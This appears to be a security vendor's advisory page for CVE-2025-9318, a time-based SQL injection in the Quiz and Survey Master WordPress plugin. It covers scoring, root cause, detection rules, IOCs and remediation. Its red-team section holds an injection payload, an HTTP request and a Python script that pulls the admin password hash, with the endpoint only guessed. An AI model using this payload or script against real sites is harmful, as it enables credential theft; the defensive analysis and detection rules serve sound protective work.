CVE-2025-9318
Executive Summary
CVE-2025-9318 is a time-based SQL Injection vulnerability discovered in the Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress. The flaw resides in the is_linking parameter, which is insufficiently sanitized and not properly prepared in the SQL query. An authenticated attacker with at least Subscriber-level access can exploit this to inject arbitrary SQL commands, leading to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and other confidential data.
This vulnerability affects all versions of the plugin up to and including 10.3.1. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN / UNPATCHED. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant due to the authenticated nature of the attack and the potential for data exfiltration.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The attack vector is through the WordPress admin panel, requiring authentication. It does not affect the underlying web server (Apache/Nginx) or PHP runtime directly, but rather the plugin's insecure handling of user input within the WordPress environment.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): Low – The attacker must have Subscriber-level access or higher.
- User Interaction (UI): None – No user action is needed for exploitation.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Successful exploitation can lead to full disclosure of database contents.
- Integrity (I): None – The attacker cannot modify data.
- Availability (A): None – The attack does not affect system availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authentication reduces the immediate risk. However, the potential for data exfiltration (High Confidentiality) makes it a serious concern for sites with untrusted users or compromised accounts.
Deep Dive & Mechanics
The vulnerability is a classic time-based SQL Injection in the is_linking parameter. The plugin fails to properly escape user-supplied input and does not use prepared statements for the SQL query. This allows an authenticated attacker to inject SQL commands that are executed alongside the legitimate query.
Root Cause:
- The
is_linkingparameter is passed directly into an SQL query without proper sanitization or parameterization. - The plugin uses string concatenation to build the query, making it vulnerable to injection.
Exploitation Mechanism:
- The attacker authenticates to WordPress with Subscriber-level privileges.
- They craft a malicious request to a vulnerable endpoint (likely an AJAX action or admin page) that processes the
is_linkingparameter. - The injected SQL payload uses time-based techniques (e.g.,
SLEEP()) to infer information from the database, such as extracting the admin password hash character by character. - The attacker can then use this information to escalate privileges or access other sensitive data.
Example Payload (Conceptual):
is_linking=1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users WHERE user_login='admin')
This payload would cause a 5-second delay if the first character of the admin password hash is 'a', allowing the attacker to brute-force the hash.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.
Vulnerable Code (Conceptual):
$is_linking = $_POST['is_linking'];
$query = "SELECT * FROM wp_qsm_quizzes WHERE is_linking = '$is_linking'";
$results = $wpdb->get_results($query);
Patched Code (Conceptual):
$is_linking = intval($_POST['is_linking']); // Cast to integer
$query = $wpdb->prepare("SELECT * FROM wp_qsm_quizzes WHERE is_linking = %d", $is_linking);
$results = $wpdb->get_results($query);
The patched version uses intval() to ensure the input is an integer and $wpdb->prepare() to safely parameterize the query, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress installation with QSM plugin version <= 10.3.1.
- A valid user account with Subscriber-level access or higher.
Exploitation Steps:
- Authenticate to WordPress and obtain a session cookie.
- Identify the vulnerable endpoint (likely an AJAX handler or admin page that processes
is_linking). Use browser developer tools or a proxy like Burp Suite to intercept requests. - Craft a time-based SQL injection payload using the
is_linkingparameter. Example:POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Cookie: wordpress_logged_in_... Content-Type: application/x-www-form-urlencoded action=qsm_ajax&is_linking=1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users WHERE user_login='admin') - Observe response times to extract data character by character. Use a script to automate the process.
Example Python Script (Conceptual):
import requests
import time
url = "https://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_...": "..."}
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
password_hash = ""
for i in range(1, 33): # MD5 hash length
for c in chars:
payload = f"1 AND (SELECT IF(SUBSTRING(user_pass,{i},1)='{c}',SLEEP(5),0) FROM wp_users WHERE user_login='admin')"
data = {"action": "qsm_ajax", "is_linking": payload}
start = time.time()
r = requests.post(url, data=data, cookies=cookies)
elapsed = time.time() - start
if elapsed > 4.5: # Threshold for SLEEP(5)
password_hash += c
print(f"Found char {i}: {c}")
break
print(f"Admin hash: {password_hash}")
Blue Team (Defensive)
Detection & Response:
- Monitor for unusual SQL queries in database logs, especially those containing
SLEEP()orBENCHMARK()functions. - Analyze web server logs for requests to
admin-ajax.phpwith suspiciousis_linkingparameters containing SQL keywords (e.g.,AND,OR,SELECT,SLEEP). - Implement Web Application Firewall (WAF) rules to block SQL injection patterns in the
is_linkingparameter. - Restrict Subscriber-level access to sensitive endpoints. If possible, disable AJAX actions that are not needed for subscribers.
- Apply the principle of least privilege – ensure that database users used by WordPress have minimal permissions.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=qsm_ajaxandis_linkingparameter containing SQL keywords. - Unusual response times (e.g., >5 seconds) for AJAX requests.
- HTTP requests to
- Host IOCs:
- Database logs showing
SLEEP()orBENCHMARK()functions in queries. - WordPress user accounts with elevated privileges (e.g., Subscriber to Admin) created unexpectedly.
- Database logs showing
- File IOCs:
- Modified plugin files (e.g.,
quiz-master-next/...) with injected backdoors. - Suspicious PHP files in the uploads directory.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_9318_QSM_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-9318 in Quiz and Survey Master plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9318"
strings:
$sqli1 = /is_linking=.*(?:AND|OR)\s+(?:SELECT|SLEEP|BENCHMARK|IF)/i
$sqli2 = /is_linking=.*(?:'|")\s*(?:AND|OR)\s+\d+=\d+/i
$sqli3 = /is_linking=.*(?:UNION|--|#)/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-9318 - Time-Based SQL Injection in QSM Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts via the is_linking parameter in Quiz and Survey Master plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=qsm_ajax'
cs-uri-query|contains: 'is_linking'
cs-uri-query|re: '(AND|OR)\s+(SELECT|SLEEP|BENCHMARK|IF)'
condition: selection
falsepositives:
- Legitimate use of the is_linking parameter with numeric values
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9318 - QSM SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=qsm_ajax"; http_client_body; pcre:"/is_linking=.*(?:AND|OR)\s+(?:SELECT|SLEEP|BENCHMARK|IF)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the QSM plugin until a patch is available.
- Restrict Subscriber-level access to AJAX endpoints by modifying WordPress capabilities or using a security plugin.
- Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Monitor database logs for suspicious queries and investigate any anomalies.
Long-Term Fixes:
- Apply the official patch once released by the vendor.
- Upgrade to a patched version (if available) or consider replacing the plugin with a more secure alternative.
- Conduct a security audit of all WordPress plugins and themes to identify similar vulnerabilities.
- Enforce strong authentication and use multi-factor authentication (MFA) for all user accounts.
Workaround (if patching is not possible):
- Modify the plugin code to use
intval()and$wpdb->prepare()for theis_linkingparameter (as shown in the patched code example). However, this will be overwritten on plugin updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.